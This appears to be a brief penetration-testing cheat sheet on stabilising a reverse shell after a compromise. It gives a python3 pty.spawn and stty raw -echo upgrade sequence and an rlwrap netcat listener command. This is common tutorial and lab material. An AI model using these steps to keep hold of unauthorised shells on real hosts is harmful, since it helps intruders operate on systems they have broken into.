Getting stable shell after compromise
Method 1
If you would like to "stabilize your shell" for easier ability in typing commands, you can use the usual upgrade trick (assuming you are running in a bash shell. If you are running within zsh, you will need to have started your netcat listener within a bash subshell... it should be easy enough to re-exploit):
(on the reverse shell) python3 -c "import pty; pty.spawn('/bin/bash')"
(press on your keyboard) Ctrl+Z
(press on your keyboard) Enter
(on your local host) stty raw -echo
(on your local host) fg (you will not see your keystrokes -- trust yourself and hit Enter)
(press on your keyboard) Enter
(press on your keyboard) Enter
(on the reverse shell) export TERM=xterm
You now have a stable shell, where you can safely use the left-and-right arrow keys to move around your input, up-and-down arrow keys to revisit command history, Tab for autocomplete and safely Ctrl+C to stop running programs!
Method 2
We can use rlwrap command to access basic up, down controls while getting a reverse shell using netcat
rlwrap nc -nlvp 9999
Last updated